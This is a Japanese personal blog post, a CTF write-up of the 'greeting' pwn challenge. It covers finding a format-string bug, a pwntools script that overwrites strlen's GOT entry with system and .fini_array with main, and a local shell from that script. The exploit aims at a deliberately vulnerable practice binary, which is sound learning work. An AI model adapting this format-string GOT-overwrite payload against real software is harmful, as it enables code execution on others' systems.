mattun-martの日記

セキュリティとかCTFとか個人的なメモ.早く入門したい.

pwnlist baby greeting

下調べ

mattun-mart@4ctf:~/Workspace/pwn/baby/greeting$ file greeting |sed -e "s/,/\n/g"
greeting: ELF 32-bit LSB executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked
 interpreter /lib/ld-linux.so.2
 for GNU/Linux 2.6.24
 BuildID[sha1]=beb85611dbf6f1f3a943cecd99726e5e35065a63
 not stripped
mattun-mart@4ctf:~/Workspace/pwn/baby/greeting$ checksec.sh --file greeting 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   greeting

NX,SSP有効.

解析

プログラムを実行すると名前の入力を求められる.
%pを入力してみる.どうやらFSBがあるらしい.

mattun-mart@4ctf:~/Workspace/pwn/baby/greeting$ ./greeting 
Hello, I'm nao!
Please tell me your name... AAAABBBBCCCC%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
Nice to meet you, AAAABBBBCCCC0x80487d0,0xffa5b05c,(nil),(nil),(nil),(nil),0x6563694e,0x206f7420,0x7465656d,0x756f7920,0x4141202c,0x42424141,0x43434242 :)

また,objdumpで逆アセンブルした結果を見ているとnao関数の中にsystem関数を発見.

08048742 <nao>:
 8048742:       55                      push   ebp
 8048743:       89 e5                   mov    ebp,esp
 8048745:       83 ec 18                sub    esp,0x18
 8048748:       a1 80 9a 04 08          mov    eax,ds:0x8049a80
 804874d:       c7 44 24 04 00 00 00    mov    DWORD PTR [esp+0x4],0x0
 8048754:       00
 8048755:       89 04 24                mov    DWORD PTR [esp],eax
 8048758:       e8 e3 fc ff ff          call   8048440 <setbuf@plt>
 804875d:       a1 a0 9a 04 08          mov    eax,ds:0x8049aa0
 8048762:       c7 44 24 04 00 00 00    mov    DWORD PTR [esp+0x4],0x0
 8048769:       00
 804876a:       89 04 24                mov    DWORD PTR [esp],eax
 804876d:       e8 ce fc ff ff          call   8048440 <setbuf@plt>
 8048772:       c7 04 24 9c 87 04 08    mov    DWORD PTR [esp],0x804879c
 8048779:       e8 12 fd ff ff          call   8048490 <system@plt>
 804877e:       c9                      leave
 804877f:       c3                      ret

FSBを利用して何か関数をsystem関数に書き換えてあげればよさそう.
しかし,FSBを利用してsystem関数に書き換えられそうな関数がない.困った.__stack_chk_failぐらいか...?

 8048643:       e8 98 fe ff ff          call   80484e0 <sprintf@plt>
 8048648:       8d 44 24 1c             lea    eax,[esp+0x1c]
 804864c:       89 04 24                mov    DWORD PTR [esp],eax
 804864f:       e8 fc fd ff ff          call   8048450 <printf@plt>
 8048654:       eb 0c                   jmp    8048662 <main+0x75>
 8048656:       c7 04 24 e9 87 04 08    mov    DWORD PTR [esp],0x80487e9
 804865d:       e8 1e fe ff ff          call   8048480 <puts@plt>
 8048662:       8b 94 24 9c 00 00 00    mov    edx,DWORD PTR [esp+0x9c]
 8048669:       65 33 15 14 00 00 00    xor    edx,DWORD PTR gs:0x14
 8048670:       74 05                   je     8048677 <main+0x8a>
 8048672:       e8 f9 fd ff ff          call   8048470 <__stack_chk_fail@plt>
 8048677:       c9                      leave
 8048678:       c3                      ret

仕方ないので調べる.
デストラクタというものがあるらしい.exit後に.fini_arrayセクションに登録された関数が実行される.
ということで.fini_arrayをmainに書き換えてやればもう一度プログラムを走らせることが可能になる.
シェルを起動するためにはSystem関数の引数に/bin/shを指定する必要があるので,入力後に入力した値を引数に取るような関数をsystem関数に書き換えれれば都合が良い.
コードを見てみるとstrlen関数を利用すれば良さそう.

 8048695:       e8 c6 fd ff ff          call   8048460 <fgets@plt>
 804869a:       c7 44 24 04 0a 00 00    mov    DWORD PTR [esp+0x4],0xa
 80486a1:       00
 80486a2:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 80486a5:       89 04 24                mov    DWORD PTR [esp],eax
 80486a8:       e8 03 fe ff ff          call   80484b0 <strchr@plt>
 80486ad:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 80486b0:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
 80486b4:       74 06                   je     80486bc <getnline+0x43>
 80486b6:       8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
 80486b9:       c6 00 00                mov    BYTE PTR [eax],0x0
 80486bc:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 80486bf:       89 04 24                mov    DWORD PTR [esp],eax
 80486c2:       e8 f9 fd ff ff          call   80484c0 <strlen@plt>

Exploit

入力した値を格納する変数の位置と一緒に出力される文字列”Nice to meet you, ”の存在に気をつけながらstrlenのgotアドレスをsystem関数上書きと.fini_arrayの関数をmain関数上書きをする.

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *

#context.log_level = 'debug'

conn = process('./greeting')
elf = ELF('./greeting')

system_plt_addr = elf.plt['system']
strlen_got_addr = elf.got['strlen']
main_addr = elf.symbols['main']
fini_array_addr = elf.get_section_by_name('.fini_array').header.sh_addr
system_plt_addr_low = system_plt_addr & 0x000ffff
system_plt_addr_high = system_plt_addr >> 16
main_addr_low = main_addr & 0x000ffff

payload = "AA"
payload += p32(strlen_got_addr + 2) 
payload += p32(strlen_got_addr) 
payload += p32(fini_array_addr) 
payload += "%" + str(system_plt_addr_high - len(payload + "Nice to meet you, ") ) + "x"
payload += "%12$hn"
payload += "%" + str(system_plt_addr_low - system_plt_addr_high ) + "x"
payload += "%13$hn"
payload += "%" + str(main_addr_low - system_plt_addr_low ) + "x"
payload += "%14$hn"
payload += "\n"

conn.recv()
conn.send(payload)
conn.recvuntil("...")
conn.send("/bin/sh\n")
conn.interactive()

結果

mattun-mart@4ctf:~/Workspace/pwn/baby/greeting$ python exploit.py 
[+] Starting local process './greeting': pid 31373
[*] '/home/mattun-mart/Workspace/pwn/baby/greeting/greeting'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Switching to interactive mode
 $ ls
core  dump  exploit.py    greeting  peda-session-greeting.txt